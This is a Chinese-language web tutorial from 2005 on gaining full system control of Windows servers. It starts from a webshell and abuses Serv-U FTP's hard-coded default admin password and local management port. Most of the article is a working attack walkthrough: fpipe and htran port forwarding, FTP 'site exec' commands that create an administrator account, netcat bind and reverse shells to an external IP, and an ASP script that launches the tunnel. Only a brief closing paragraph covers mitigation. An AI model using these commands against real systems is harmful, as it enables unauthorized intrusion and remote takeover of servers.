思索网:WWW.4SO.NET
网站首页
设为首页
加入收藏
社区论坛
联系我们
网站地图
发现个人价值
提高企业内涵
一切源于思索
首页
企业之家
公关文秘
免费论文
网上办公指南
操作系统
多媒体应用
现代教学
下载中心
专题报道
推荐文章
评论
English Article
IT资讯
网页设计
网站运营
编程开发
平面设计
网络安全
工具下载
站内搜索
最新文章
热门文章
论坛
栏目列表
ASP专区
PHP专区
JSP专区
.Net专区
XML专区
其它网页编程
HTML&CSS
Dreamweaver
Frontpage
Javascript
数据库相关
服务器相关
网络媒体
建站经验
FLASH
网络安全
首页
>
站长学院
>
服务器相关
> webshell+serv-u获取系统最高权限
webshell+serv-u获取系统最高权限
日期:
2005-06-20 00:00:00
来源:
中国站长学院
请您记住思索网的网址:
http://www.4so.net
[加入收藏夹]
下面详细说说webshell+serv-u获取系统最高权限的方法及补救方法。
原理:
serv-u默认监听127.0.0.1:43958,在本机才能连接这个管理端口,serv-u默认管理账号是LocalAdministrator,默认密码是"#l@$ak#.lk;0@P",这个密码是固定的。在目标机器上运行fpipe -v -l 12345 -r 43958 127.0.0.1,然后在你自己的机器,用"serv-u administrator"新建SERVER,
目标IP:12345
User:LocalAdministrator
Pass:"#l@$ak#.lk;0@P"
那么目标机器的serv-u就归你管了。
利用的前提:要有目标机器的普通权限的SHELL,不需要能终端或物理控制台登录,只要有个shell,能运行端口数据转发的程序就可以了
如何得到一个shell:sql注射得到webshell或者直接利用动网7.0 sp2以下的上传漏洞上传webshell
具体实施方法:
1.利用得到的webshell上传转向程序fpipe,然后执行fpipe -v -l 12345 -r 43958 127.0.0.1
2 .在你自己的机器,用"serv-u administrator"新建SERVER,依次填入
ip:目标IP
端口 :12345
User:LocalAdministrator
Pass:"#l@$ak#.lk;0@P"
现在你就可以管理这台
服务器
的serv-u了,新建一个账号,权限为系统管理员(system administrator),并在"目录访问(Dir access)"选项中给予"执行"权限(execute).
3. ftp连接,然后执行quote site exec net user iisuser password /add
添加一个用户名为iisuser密码为password的用户,加到管理员组 quote site exec net localgroup administrators iisuser /add,现在就可以连接终端并登录了。
当然也可以进行别的操作,例如上传一个nc.exe,在目标机器上得到一个管理员权限的shell,可以正向连接,也可以反向连接。
正向连接:连上ftp以后执行 quote site exec nc.exe -l -p 23 -t -e cmd.exe
这时目标主机就成了一台telnet
服务器
,你可以telnet上目标
服务器
的23端口.
反向连接:假设你的IP是202.96.209.168
1.先在自己的机器上运行(你要有一个外部IP):nc -vv -lp 99
2.在目标机器上运行 nc -e cmd.exe 202.96.209.168 99
在你的机器上就会得到一个目标机器的具有管理员权限的shell
如果对方进行了端口过滤或者设置了防火墙的保护(这种保护不限制反弹连接,如果限制的话就要换别的方法呢),可以用TCP SOCKET转发来实现
打个比方:
我的机器为 A
我要测试的机器为 B[不允许正面连接]
我已经在B上得到呢一个SHELL[只要guest的就行呢]
我们可以这样连上对方的43958
I:我在本地监听二个端口23和56
23是等待B来连接的~
56是等待我来连接的~
II:B连接我监听的23,同时转发到本地的43958
这样管道就建好呢~对方的防火墙就拿我们没有办法呢~
此时在本地运行SERV-U新建一个SERVER,IP填上本地的127.0.0.1端口为56,用户名LocalAdministrator,密码#l@$ak#.lk;0@P
具体实施方法:
假设你的IP是 202.96.209.168
1.在你自己的机器上运行 htran.exe -listen 23 56
2.此时在本地运行SERV-U新建一个SERVER,IP填上本地的127.0.0.1端口为56,用户名LocalAdministrator,密码#l@$ak#.lk;0@P
3。在目标机器上运行 htran.exe -slave 127.0.0.1 43958 202.96.209.168 23
如果不能在webshell下直接运行,可以写一个asp脚本来执行,内容如下
connect.asp
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
oScript.Run (server.mappath("htran")&" -slave 127.0.0.1 43958 202.96.209.168 23 ")
%>
执行http://目标网址/connect.asp,如果出来一片空白,没提示什么错误,现在你应该可以管理目标
服务器
的serv-u了
余下的事情就看您自由发挥了。
htran.exe是一个多线程包转发工具,可以到红盟下载http://www.cnhonker.com/download/releases/Tools/HTran.rar
防止方法:
自己给serv-u打补丁,改变默认端口及管理密码。改密码要修改ServUAdmin.exe,ServUDaemon.exe这两个文件,改端口只要在ServUDaemon.ini文件[GLOBAL]选项中加入LocalSetupPortNo=12345即可
很遗憾,在serv-u的最新版本serv-u 5.2.0.0中依然没有任何改变,默认的管理端口及密码还是原来的。
本文地址:
http://www.4so.net/web/host/2674.html
将本页加入收藏夹
将地址复制到剪贴板发送给好友
若发现本文有误或版权问题点击这里
热门信息
相关文章
[
服务器相关
]
Windows 2003负载平衡策略全攻略
[
服务器相关
]
局域网中架设Win 2003终端服务器
[
服务器相关
]
不花一分钱, 轻松打造自己的电子
[
服务器相关
]
保护(IIS)web服务器的15个技巧
[
服务器相关
]
关于Win2003系统中证书服务
[
服务器相关
]
加固Windows Server 2003 IIS 服
[
服务器相关
]
浅析Apache中SSI和CGI的设定方法
[
服务器相关
]
Win2000下修改注册表加强安全
[
服务器相关
]
WIN 2000简单的入侵常识
[
服务器相关
]
Web 服务器日志工具点评
无相关信息
文章评论
收藏本文
打印本文
关闭窗口